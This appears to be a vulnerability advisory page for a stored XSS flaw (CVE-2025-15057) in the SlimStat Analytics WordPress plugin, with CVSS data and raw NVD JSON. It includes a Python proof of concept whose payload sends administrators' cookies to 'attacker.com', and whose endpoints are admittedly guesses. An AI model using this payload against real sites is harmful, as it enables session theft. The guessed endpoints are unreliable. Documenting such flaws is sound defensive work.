Security Vulnerability Report
中文
CVE-2025-15057 CVSS 7.2 HIGH

CVE-2025-15057

Published: 2026-01-09 07:16:02
Last Modified: 2026-04-15 00:35:42

Description

The SlimStat Analytics plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `fh` (fingerprint) parameter in all versions up to, and including, 5.3.3. This is due to insufficient input sanitization and output escaping on the fingerprint value stored in the database. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever an administrator views the Real-time Access Log report.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

SlimStat Analytics plugin for WordPress <= 5.3.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import urllib.parse # CVE-2025-15057 PoC - SlimStat Analytics Stored XSS via fh parameter # Target: WordPress site with SlimStat Analytics plugin <= 5.3.3 target_url = "https://vulnerable-site.com/wp-content/plugins/wp-slimstat/" # Malicious JavaScript payload for XSS xss_payload = '<script>document.location="https://attacker.com/steal?cookie="+document.cookie</script>' # Encode the payload for the fh parameter encoded_payload = urllib.parse.quote(xss_payload) # Send request with malicious fingerprint parameter # The exact endpoint may vary based on plugin configuration params = { 'fh': encoded_payload, # Fingerprint parameter 'uri': '/test-page', # Page being accessed 'bw': '1920', # Browser width 'bh': '1080' # Browser height } # Try common SlimStat tracking endpoints endpoints = [ 'wp-content/plugins/wp-slimstat/index.php', 'wp-content/plugins/wp-slimstat/bwp-minify/index.php', 'index.php' ] for endpoint in endpoints: try: url = f"https://vulnerable-site.com/{endpoint}" response = requests.get(url, params=params, timeout=10) print(f"[*] Sent payload to {endpoint}: Status {response.status_code}") except requests.RequestException as e: print(f"[!] Error targeting {endpoint}: {e}") print("\n[+] PoC sent. When admin views Real-time Access Log, XSS will execute.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-15057", "sourceIdentifier": "[email protected]", "published": "2026-01-09T07:16:02.483", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The SlimStat Analytics plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `fh` (fingerprint) parameter in all versions up to, and including, 5.3.3. This is due to insufficient input sanitization and output escaping on the fingerprint value stored in the database. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever an administrator views the Real-time Access Log report."}, {"lang": "es", "value": "El plugin SlimStat Analytics para WordPress es vulnerable a Cross-Site Scripting Almacenado a través del parámetro 'fh' (huella digital) en todas las versiones hasta la 5.3.3, inclusive. Esto se debe a una sanitización de entrada y un escape de salida insuficientes en el valor de la huella digital almacenado en la base de datos. Esto hace posible que atacantes no autenticados inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un administrador vea el informe de Registro de Acceso en Tiempo Real."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3428488/wp-slimstat", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/90920df9-1362-466b-b14b-4714087f556b?source=cve", "source": "[email protected]"}]}}